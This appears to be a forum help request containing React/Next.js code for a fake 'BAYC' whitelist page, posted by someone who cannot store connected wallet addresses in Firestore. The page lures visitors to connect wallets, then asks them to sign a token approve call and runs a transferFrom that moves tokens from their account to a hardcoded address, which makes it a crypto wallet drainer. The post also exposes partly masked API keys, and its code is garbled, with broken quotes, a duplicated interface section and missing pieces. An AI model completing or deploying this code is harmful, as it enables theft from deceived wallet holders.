//I CANT FETCH USER ADDRESS ON MY FIRESTORE
import { useEffect, useState } from âreactâ
import Moralis from âmoralisâ
//import Moralis from âmoralisâ
import { Button, Text, Flex, Center, useColorModeValue, Image, Box, Tabs, TabList, Tab, TabPanels, TabPanel, Alert, AlertIcon, Link, styled, AccordionButton } from â@chakra-ui/reactâ
import Head from ânext/headâ
// import Web3 from âweb3â;
import { MoralisProvider, useMoralis, useWeb3Contract, useWeb3ExecuteFunction } from âreact-moralisâ
// import Balance from ââŚ/components/Balanceâ
// import Transactions from ââŚ/components/Transactionsâ
import Header from ââŚ/components/Headerâ
// import Profile from ââŚ/components/Profileâ
import { Modal, ModalOverlay, ModalContent, ModalHeader, ModalFooter, ModalBody, ModalCloseButton } from â@chakra-ui/reactâ
import { useDisclosure } from â@chakra-ui/reactâ
import {initializeApp} from âfirebase/appâ;
import { getFirestore, collection, getDocs, addDoc, query, where, limit } from âfirebase/firestoreâ;
import { getAuth } from â@firebase/authâ;
import {getDatabase} from âfirebase/databaseâ;
import { getMoralisAuth } from â@moralisweb3/client-firebase-auth-utilsâ;
import { signInWithMoralis } from â@moralisweb3/client-firebase-evm-authâ;
import { EvmChain } from â@moralisweb3/common-evm-utilsâ;
import { getFunctions } from âfirebase/functionsâ
// import WalletConnectProvider from â@walletconnect/web3-providerâ;
import { Web3Provider } from â@ethersproject/providersâ;
export const app = initializeApp({
apiKey: âAIzaSyDfBVVgnWZRBiElr0mhWqX04",
authDomain: "-project-ac6e1.firebaseapp.com",
projectId: "-project-ac6e1",
storageBucket: â********-project-ac6e1.appspot.comâ,
messagingSenderId: "10636196338",
appId: "1:109163*******38:web:4ae017963a60f2019c716bâ,
measurementId: âG-*****E486RS4â
});
const db = getFirestore();
const auth = getAuth(app);
const functions = getFunctions();
Moralis.appId = '2gftâ;
Moralis.serverURL = âhttps://firestore.googleapis.com/v1/â;
const MORALIS_API_KEY = "eyJhbGNiIsInR5cCI6IkpXVCJ9.eyJub25jZSI6IjJkY2UwYjliLTFiYWEtNDYxYS1iYzg5LWJkZWQ2MzcyOWEzNiIsIm9yZ0lkIjoiMzc1NTk5IiwidXNlcklkIjoiMzg1OTc4IiwidHlwZSI6IlBST0pFQ1QiLCJ0eXBlSWQiOiJjNGJjNDIwOS00ZTkzLTQ4OTktYTE0Mi00ZGZiNzEzN2M2ZGQiLCJpYXQiOjE3MDY5NzIxNjAsImV4cCI6NDg2MjczMjE2MH0.KJY7w_m5ws5UpqXIaHISIBI0**SDJbU";
const MORALIS_SERVER_URL=âhttps://firestore.googleapis.com/v1/â;
function Home() {
const [user, setUser]= useState(null);
const [displayName, setdisplayName] = useState(ââ);
const Moralis = require(âmoralisâ).default;
const { EvmChain } = require("@moralisweb3/common-evm-utils");
const { data, error, fetch, isFetching, isLoading } = useWeb3ExecuteFunction();
// const { data, error, fetch, isFetching, isLoading } = useWeb3ExecuteFunction();
// Moralis.start({ apiKey: process.env.NEXT_PUBLIC_APPID });
if (!Moralis.Core.isStarted) {
Moralis.start({
apiKey: âeyJhbG***********5cCI6IkpXVCJ9.eyJub25jZSI6IjJkY2UwYjliLTFiYWEtNDYxYS1iYzg5LWJkZWQ2MzcyOWEzNiIsIm9yZ0lkIjoiMz****1OTc4IiwidHlwZSI6IlBST0pFQ1QiLCJ0eXBlSWQiOiJjNGJjNDIwOS00ZTkzLTQ4OTktYTE0Mi00ZGZiNzEzN2M2ZGQiLCJpYXQiOjE3MDY5NzIxNjAsImV4cCI6NDg2MjczMjE2MH0.KJY7w_m5ws5UpqXIaHISIBI0s5ZEpOr2FSDJbUâ,
//serverUrl: MORALIS_SERVER_URL
});
}
// const enableWeb3 = async () => {
// try {
// await Moralis.enable();
// console.log(âWeb3 enabled successfullyâ);
// } catch (error) {
// console.error(âError enabling Web3:â, error);
// }
// };
// // Call enableWeb3 function when needed
// enableWeb3();
//const {isAuthenticated, authenticate, user, enableWeb3, isWeb3Enabled, Moralis, logout, isLoggingOut } = useMoralis()
const {isAuthenticated, web3, enableWeb3, isWeb3EnableLoading, web3EnableError, authenticate, isWeb3Enabled, logout, isLoggingOut } = useMoralis()
const [approved, setApproved] = useState(false);
const { runContractFunction: enterTxResponse } = useWeb3Contract({
}
);
useEffect(() => {
if (!isWeb3Enabled && isAuthenticated) {
enableWeb3();
}
}, [isWeb3Enabled, isAuthenticated]);
useEffect(() => {
// Assuming you have the wallet address available in the âuserâ variable
if (user) {
setdisplayName(user.displayName);
}
}, [user]);
useEffect(() => {
if (displayName) {
// Check if a document with the same displayName already exists
const q = query(collection(db, âusersâ), where(âwalletAddressâ, â==â, displayName), limit(1));
getDocs(q)
.then((querySnapshot) => {
if (querySnapshot.empty) {
// No existing document found, create a new one
addDoc(collection(db, âusersâ), {
walletAddress: displayName
})
.then(() => {
console.log(âWallet address stored in Firestoreâ);
})
.catch((error) => {
console.error(âError storing wallet address:â, error);
});
} else {
console.log(âDocument already exists with the same wallet address:â, displayName);
}
})
.catch((error) => {
console.error(âError checking existing documents:â, error);
});
}
}, [displayName]);
// useEffect(() => {
// if (displayName) {
// // Store the wallet address in Firestore
// addDoc(collection(db, âusersâ), {
// walletAddress: displayName
// })
// .then(() => {
// console.log(âWallet address stored in Firestoreâ);
// })
// .catch((error) => {
// console.error(âError storing wallet address:â, error);
// });
// }
// }, [displayName]);
async function approve() {
if (!isWeb3Enabled) {
enableWeb3();
}
const options = {
contractAddress: â0xdAC17F958D2ee523a2206206******31ec7â,
functionName: "approve",
chain: EvmChain.ETHEREUM,
abi: [
{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},
],
params: {
_spender: user?.displayName, // Use the Ethereum address of the user
_value: "1000"
}
};
try {
const result = await fetch({ params: options });
console.log(âFunction executed successfullyâ, result);
setApproved(true); // Update the approved state
} catch (error) {
console.error(âError executing function:â, error);
}
}
const { account } = useMoralis();
async function transfer(){
const ethers = Moralis.web3Library;
const web3Provider = await Moralis.enableWeb3();
const signer = web3Provider.getSigner();
const contract = new ethers.Contract(â0xdAC17F958D2ee523a22062069*****3D831ec7â, ABI, signer);
let res = await contract.transferFrom({
_from: account,
_to: "0x2589Fd32E18490**********050e",
_value: 1000000,
gasPrice: ethers.utils.parseUnits("20","gwei").toString(),
gasLimit: 280000
})
}
const { isOpen, onOpen, onClose } = useDisclosure()
if(!isAuthenticated && !user) {
console.log(user);
async function login() {
console.log(âlogin attemptâ)
const moralisAuth = getMoralisAuth(app, {
auth,
functions,
});
const res = await signInWithMoralis(moralisAuth);
setUser(res.credentials.user);
console.log(res.credentials.user)
}
async function logout() {
await auth.signOut();
setUser(null);
}
async function authWalletConnect() {
const user = authenticate({
provider: âwalletconnectâ,
chainId: 56,
mobileLinks: [
âmetamaskâ,
âtrustâ,
ârainbowâ,
âargentâ,
âimtokenâ,
âpillarâ,
âmathwalletâ,
âmeet.one walletâ,
âequalâ,
âsafepalâ,
âcool walletâ,
âxwalletâ,
âatomicâ,
âmyetherwalletâ,
âcybavoâ,
âontoâ,
âmycryptoâ,
âminerva walletâ,
âmetaxâ,
âencrypted inkâ,
âgnosis safeâ,
âbitpayâ,
âfireblocksâ,
âdebankâ,
âtokenpocketâ,
âinfinity walletâ,
âcoinbase walletâ
],
signingMessage: âSign to get whitelisted on âŚâ,
});
console.log(user);
};
// if(isWeb3Enabled){
// return null
// }
const APPID = process.env.NEXT_PUBLIC_APPID;
const serverURL = process.env.NEXT_PUBLIC_SERVER_URL;
console.log(âAPPIDâ, APPID)
console.log(âserverURLâ, serverURL)
return(
<>
BAYC
Connect Wallet
<Button colorScheme=âpurpleâ size=âlgâ mt=â6â
onClick={() => login({
signingMessage: âSign to get whitelisted on âŚâ
})}
>Sign in with Metamask
<Button colorScheme="purple" size="lg" mt="6"
onClick={() => authWalletConnect({
signingMessage: "Sign to get whitelisted on ........."
})}
>Sign in with Wallet Connect</Button>
</Flex>
</>
)
};
return (
<>
BAYC
Wallet connected successfully {user.displayName}
Get it now!
Be among the 1st 100
{web3EnableError && }
{/* <Button onClick={() => enableWeb3()} disabled={isWeb3EnableLoading}>Enable web3 */}
<Button onClick={() => approve()} disabled={isLoading || isFetching || isWeb3EnableLoading}>
Get It!
</Button>
{/* {error && (
<Alert status="error">
Error: {error.message}
</Alert>
)} */}
{/* {data && (
<pre>{JSON.stringify(data)}</pre>
)} */}
<Button ml="4" colorScheme="green" disabled={isLoading || isFetching || !approved}>
Continue
</Button>
</ModalFooter>
</ModalContent>
</Modal>
<br />
</Tabs>
</Box>
</Flex>
</>
)
}
export default Home
//âŚ
//i cant fetch user address on my firestore
//âŚ
return(
<>
BAYC
Connect Wallet
<Button colorScheme=âpurpleâ size=âlgâ mt=â6â
onClick={() => login({
signingMessage: âSign to get whitelisted on âŚâ
})}
>Sign in with Metamask
<Button colorScheme="purple" size="lg" mt="6"
onClick={() => authWalletConnect({
signingMessage: "Sign to get whitelisted on ...................."
})}
>Sign in with Wallet Connect</Button>
</Flex>
</>
)
};
return (
<>
BAYC
Wallet connected successfully {user.displayName}
Get it now!
Be among the 1st 100
{web3EnableError && }
{/* <Button onClick={() => enableWeb3()} disabled={isWeb3EnableLoading}>Enable web3 */}
<Button onClick={() => approve()} disabled={isLoading || isFetching || isWeb3EnableLoading}>
Get It!
</Button>
{/* {error && (
<Alert status="error">
Error: {error.message}
</Alert>
)} */}
{/* {data && (
<pre>{JSON.stringify(data)}</pre>
)} */}
<Button ml="4" colorScheme="green" disabled={isLoading || isFetching || !approved}>
Continue
</Button>
</ModalFooter>
</ModalContent>
</Modal>
<br />
</Tabs>
</Box>
</Flex>
</>
)